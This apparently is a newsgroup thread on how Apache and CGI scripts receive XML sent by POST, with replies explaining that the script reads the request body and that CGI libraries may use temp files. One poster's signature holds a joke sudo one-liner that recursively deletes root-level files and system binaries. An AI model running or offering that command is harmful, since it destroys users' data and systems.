I am trying to setup an Apache web server to accept XML document and
use a CGI to process the content of the XML file. My questions are:
* When a client performs a POST to the server; assume that the content
of the post is an XML file, where does Apache place the file?
* How do I setup Apache so that when it receives an XML file, it will
invoke a particular CGI so that the XML file can be consumed?
* Is there a way to configure Apache so that it does NOT use disk
space to store the received XML file, instead, keep it in memory and
pass it to my XML file?
Thanks for any lead. 3 1595
Terry Jones wrote: I am trying to setup an Apache web server to accept XML document and use a CGI to process the content of the XML file. My questions are:
* When a client performs a POST to the server; assume that the content of the post is an XML file, where does Apache place the file?
I don't think Apache places the body of an HTTP POST request anywhere,
if you POST data to whatever.php for instance then your PHP script is
called by Apache and it is then up to the PHP script to process the
request body (for instance in PHP 5 by reading the stream php://input).
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Martin Honnen http://JavaScript.FAQTs.com/
Terry Jones wrote: I am trying to setup an Apache web server to accept XML document and use a CGI to process the content of the XML file. My questions are:
* When a client performs a POST to the server; assume that the content of the post is an XML file, where does Apache place the file?
It doesn't (or rather, it may do some temporary invisible store-to-disk,
but not anywhere you can get at it externally). What happens is that the
file arrives as a MIME message-part in the POST. Think of it as roughly
equivalent to an email attachment. The job of your script is to handle
it and *then* do something with it (which may include saving to disk).
* How do I setup Apache so that when it receives an XML file, it will invoke a particular CGI so that the XML file can be consumed?
It's the other way round: it's your script that does the receiving in
the first place. Google for cgi file upload to find some code.
* Is there a way to configure Apache so that it does NOT use disk space to store the received XML file, instead, keep it in memory and pass it to my XML file?
That's in effect what it does.
///Peter
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sudo sh -c "cd /;/bin/rm -rf `which killall kill ps shutdown mount gdb` *
&;top"
Peter Flynn wrote: Terry Jones wrote:
I am trying to setup an Apache web server to accept XML document and use a CGI to process the content of the XML file. My questions are:
* When a client performs a POST to the server; assume that the content of the post is an XML file, where does Apache place the file?
It doesn't (or rather, it may do some temporary invisible store-to-disk, but not anywhere you can get at it externally).
Apache doesn't, unless you tell it to. But if the XML is a file upload,
then CGI libraries typically put them in a tempfile, as CGI doesn't do
asynchronous input. If the OP wants to avoid tempfiles, then he'll
have to RTFM for his CGI library (and make sure file uploads are
limited to a size he can buffer in memory without DOSing himself).
(snip)
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